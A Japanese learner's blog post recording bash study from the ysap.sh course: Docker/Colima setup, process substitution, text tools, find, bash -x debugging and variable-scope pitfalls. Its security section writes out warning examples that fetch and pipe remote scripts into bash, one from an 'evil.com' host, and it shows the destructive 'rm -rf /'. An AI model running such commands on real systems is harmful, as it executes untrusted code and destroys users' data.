ysapでbash入門④
bash学習記録:基礎編(Chapter 06, Section 00まで)
Rustの学習から一転、シェルスクリプトの世界に足を踏み入れた学習記録。ysap.shのコースを使い、04-06 Process Substitutionから06-00 Bash Argumentsまでを学習した。
学習環境のセットアップ
UTMからDockerへの移行
当初UTMでUbuntu Serverを使用していたが、メモリ8GBのMacBook Air M2では重すぎるという問題に直面。
解決策:Colima + Docker
# インストール
brew install colima docker
# 軽量設定で起動(メモリ8GB環境向け)
colima start --cpu 2 --memory 2 --disk 20
# 学習用コンテナ作成
docker run -it --name bashlab \
-v ~/bashwork:/work \
ubuntu:22.04 bash
# エイリアス設定
echo 'alias void="docker start -i bashlab"' >> ~/.zshrc
source ~/.zshrc
メリット:
- UTM: 4GB以上のメモリ使用、起動1-2分
- Colima: 2GBのメモリ使用、起動30秒
- 使わない時は
colima stopで即座にメモリ解放
なぜDockerを選んだか
-
学習とスキル習得の一石二鳥
- Bashの学習
- Dockerの実践的な使い方も同時に習得
- 実務での需要が高い
-
軽量性
- VMではなくコンテナなので起動が速い
- メモリ使用量が少ない
-
破壊と再生が容易
- 実験して壊しても
docker rmで削除、すぐ作り直せる - 学習環境として最適
- 実験して壊しても
Process Substitution(プロセス置換)の深掘り
3つの書き方とその違い
講師のDaveが示した同じ処理の3つの実装方法:
# 方法1: 変数に保存 + Here String
words=$(grep d /usr/share/dict/words)
while read -r word; do
echo "$word"
((i++))
done <<< "$words"
# 方法2: パイプ(問題あり)
grep d /usr/share/dict/words | while read -r word; do
echo "$word"
((i++))
done
echo "found $i words" # iが0のまま!
# 方法3: Process Substitution(推奨)
while read -r word; do
echo "$word"
((i++))
done < <(grep d /usr/share/dict/words)
echo "found $i words" # 正しくカウントされる
サブシェルの罠
パイプ版が失敗する理由:
パイプ版:
[親シェル] → [サブシェル: whileループ全体]
変数iはここで増える → 終了後消える
Process Substitution版:
[親シェル: whileループ] ← [サブシェル: grep実行]
変数iはここで増える → 保持される!
パイプ(|)の右側はサブシェル(子プロセス)で実行されるため、そこで変更した変数は親シェルに反映されない。これはBashスクリプトでよくある落とし穴。
Process Substitutionの仕組み
# <(command) の中身を確認
echo <(echo "hello")
# 出力例: /dev/fd/63
# 実際にはファイルディスクリプタとして扱われる
cat <(echo "hello")
# 出力: hello
<(command)は、コマンドの出力を一時的なファイルのように扱える。これにより、< <(command)という形でwhileループにリダイレクトできる。
Here String(<<<)とは
# この2つは同じ意味
echo "hello" | cat
cat <<< "hello"
# 変数の内容を標準入力として渡す
text="line1
line2
line3"
while read line; do
echo "Line: $line"
done <<< "$text"
<<<は変数の中身を標準入力に直接流し込むための記法。パイプより簡潔だが、変数に一度データを保存する必要がある。
テキスト処理ツールの整理
Daveも「早口で何を言っているかわからない」と感じるほど、これらのツールは奥が深い。実際、Daveですらawkに10時間以上かけたと発言していた。
ツールごとの特性と使い分け
| ツール | 役割 | 得意なこと | 簡単な例 |
|---|---|---|---|
| grep | 検索 | パターンマッチして行全体を出力 | grep error log.txt |
| tr | 文字変換 | 1文字対1文字の変換・削除 | echo "hello" | tr 'a-z' 'A-Z' |
| cut | 列抽出 | 区切り文字で分割して特定列を取得 | cut -d',' -f2 data.csv |
| sed | 置換・編集 | 行ベースの編集、正規表現による置換 | sed 's/old/new/g' file.txt |
| awk | 計算・処理 | 列の計算、条件処理、プログラミング的操作 | awk '{sum += $2} END {print sum}' |
| wc | カウント | 行数、単語数、文字数のカウント | wc -l file.txt |
学習の現実的なアプローチ
完璧を目指さない:
- 全部を完璧にマスターする必要はない
- まず
grepとcutだけ使えれば実用的 sedとawkは「こういうことができる」と知っておくだけでOK- 必要になったときにググって調べる(プロもそうしている)
推奨学習順序:
grep(今日から使える)cut(CSVで便利)tr(シンプル)sed(やや複雑)awk(後回しでOK、必要になったときに)
実践例:組み合わせて使う
# CSVから特定列を抽出して合計
cat sales.csv | cut -d',' -f3 | awk '{sum+=$1} END {print sum}'
# ログからエラー行を探して日付部分だけ取得
grep ERROR log.txt | cut -d' ' -f1
# 小文字に変換してから検索
cat file.txt | tr 'A-Z' 'a-z' | grep "keyword"
findコマンドの複雑さ
Daveが動画内で混乱する様子が見られたのがfindコマンド。これはオプションが50個以上あり、構文も独特。
# シンプルな使用
find . -name "*.txt"
# 複雑な実例(実務レベル)
find /var/log -type f \
-name "*.log" \
\( -mtime +30 -o -size +100M \) \
-not -path "*/nginx/*" \
-exec sh -c 'gzip "$1" && rm "$1"' _ {} \;
教訓:プロでも全部は覚えていない
- 基本的な使い方だけ押さえる
- 複雑な処理は必要な時に調べる
man findや検索エンジンを活用
macOSとLinuxの違い
DaveがLinux環境に切り替えた理由の一つは、macOSのfind(BSD版)とLinuxのfind(GNU版)で微妙に動作が異なるため。
# macOS (BSD)
find . -name "*.txt" -depth 2
# Linux (GNU)
find . -maxdepth 2 -name "*.txt"
デバッグの強力な武器:bash -x
Chapter 06で紹介されたbash -xは、スクリプトの実行過程を可視化する。
# 普通に実行
bash script.sh
# → 結果だけ表示
# デバッグモード
bash -x script.sh
# → 実行される各行が + 付きで表示される
実例
# script.sh
name="Alice"
if [ "$name" = "Alice" ]; then
echo "Hello, Alice!"
fi
# bash -x script.sh の出力:
+ name=Alice
+ '[' Alice = Alice ']'
+ echo 'Hello, Alice!'
Hello, Alice!
その他のデバッグオプション
set -e # エラーが起きたら即終了
set -u # 未定義変数を使ったらエラー
set -x # デバッグモード有効
set -o pipefail # パイプの途中でエラーがあれば検知
# 最強コンボ
set -euxo pipefail
PS4変数のカスタマイズ
デバッグ出力をより詳細にする:
export PS4='[${BASH_SOURCE}:${LINENO}] + '
bash -x script.sh
# → [script.sh:3] + name=Alice
# → [script.sh:4] + echo 'Hello'
ちなみに、PS4は「PlayStation 4」ではなく「プロンプト文字列4」のこと。Daveもジョークにしていた。
シェルスクリプトの危険性と本質的な理解
グローバル変数の危険性
Bashの変数は基本的にPCレベルのグローバルであり、これが初心者がシェルスクリプトから入らない理由の一つ。
# スクリプト内で
USER="alice"
# → システムの$USERが上書きされる
PATH="/tmp"
# → 全てのコマンドが動かなくなる可能性
DIR=""
rm -rf $DIR
# → カレントディレクトリ全削除の危険
なぜPython/Rustより難しいか
// Rust - スコープが明確
let x = 5;
{
let x = 10; // 別のスコープ
}
println!("{}", x); // 5(安全)
# Bash - 直感的でないルール
x=5
(
x=10 # サブシェル内
)
echo $x # 5
# しかし
x=5
x=10 # 同じシェル
echo $x # 10(上書き)
プロの対策
# 1. localを使う(関数内)
my_function() {
local name="Alice" # この関数内だけ
echo "$name"
}
# 2. 大文字変数は避ける
PATH="/tmp" # ❌ システム変数を上書き
my_path="/tmp" # ✅ 安全
# 3. 未定義変数検出
set -u
echo $TYPO # エラーで止まる
# 4. ShellCheckで静的解析
shellcheck script.sh
I/Oとリダイレクションの複雑さ
初心者が詰まるもう一つの理由:
# これを理解するのは難しい
exec 3< input.txt
while read -u 3 line; do
echo "$line" | cmd > output.txt
done
exec 3<&-
# または
cmd1 < input.txt | cmd2 | cmd3 > output.txt 2>&1
リダイレクション、ファイルディスクリプタ、サブシェルでの挙動など、概念が独特すぎる。
Unixの哲学:「全てはテキスト」
なぜこれらのツールが強力なのか
ログファイル → ただのテキスト
設定ファイル → ただのテキスト
CSVデータ → ただのテキスト
HTTPレスポンス → ただのテキスト
全部テキスト = 全部同じツールで処理できる
# Nginxログも
grep "404" /var/log/nginx/access.log
# Pythonログも
grep "ERROR" /var/log/app.log
# データベースダンプも
grep "INSERT INTO users" dump.sql
# 同じツール!
実務での「魔法使い」現象
# 新人の対応(30分)
vim log.txt
# 検索して... 数えて...
# ベテランの対応(3秒)
grep "2024-02-15" error.log | wc -l
# さらに詳細分析(5秒)
grep "2024-02-15" error.log | awk '{print $5}' | sort | uniq -c
周りから見ると「何やってるの?魔法?」となる。
サーバー管理の現実
# 「サーバーが重い!原因調査して!」
# ディスク使用率チェック
df -h
# でかいファイル探す
du -sh /var/log/* | sort -h | tail -5
# ログローテーション失敗発見
ls -lh /var/log/app.log*
# → app.log.1 が 50GB
# 古いログ削除
find /var/log -name "*.log.*" -mtime +30 -delete
# 5分で完了
新人が半日かけて調査するところを、ベテランは5分で解決。これがCLIツールの威力。
デスクトップは本当に必要か?
実際、サーバー開発者の多くは:
# ローカル(Mac/Windows)
├── ブラウザ(ドキュメント参照)
├── Slack/メール
└── ターミナル
└── Docker/SSH(実行環境)
# 本番サーバー
└── 全部CLI(vim, tmux, git, docker)
開発作業だけならGUIはほぼ不要。ただし、調べ物やコミュニケーションツールとしてGUIも併用するのが現実的。
セキュリティ:スクリプトとマルウェア
歴史的な誤解の修正
有名なILOVEYOUウイルス(2000年)は、C言語ではなく**VBScript(スクリプト言語)**で書かれていた。
なぜスクリプトが使われるのか:
- 簡単に書ける
# C言語で破壊的コマンド実行:100行のコンパイル設定
# Bashで:1行
rm -rf /
-
コンパイル不要
- 実行ファイルを作る必要がない
- テキストファイルとして拡散しやすい
- ウイルス対策ソフトに検出されにくい(当時)
-
クロスプラットフォーム
- BashスクリプトはLinux/Mac/WSLで動く
- .exeはWindowsのみ
現代のマルウェア
# 実際の攻撃フロー
1. フィッシングメール
2. 悪意あるリンク(JavaScript)
3. PowerShellスクリプトダウンロード
4. システム乗っ取り
# C言語を使うケースは減少
Bashスクリプトの危険な例
# 絶対に実行してはいけない
curl http://怪しいサイト/install.sh | bash
# または
bash <(curl http://evil.com/hack.sh)
安全な確認方法:
# まず内容を確認
curl https://サイト/install.sh > script.sh
less script.sh # 中身を読む
# 安全だと確認してから
bash script.sh
学習の教訓
1. 完璧主義を捨てる
- Daveレベルのエキスパートでも混乱することがある
- 全てを覚える必要はない
- 「こういうツールがある」を知っていることが重要
2. 実践的な学習
- 軽量な環境(Docker)で気軽に実験
- 壊しても問題ない環境を作る
- 必要なときに調べる習慣
3. 基礎の重要性
- Process Substitution、リダイレクション、サブシェルなど
- これらの基礎概念を理解すると応用が効く
- デバッグツール(
bash -xなど)の活用
4. セキュリティ意識
- グローバル変数の危険性
- スクリプトの実行前に内容確認
set -euなどの安全策
次回予告
Chapter 06のBash Argumentsから継続予定。関数、引数処理、より高度なスクリプティング技術へと進んでいく。
学習リソース:
- Colima:
brew install colima - ShellCheck: スクリプトの静的解析ツール
- The Complete Bash Scripting Course - ysap.sh
- Dave Eddy's dotfiles
- YouTube: The Complete Bash Scripting Course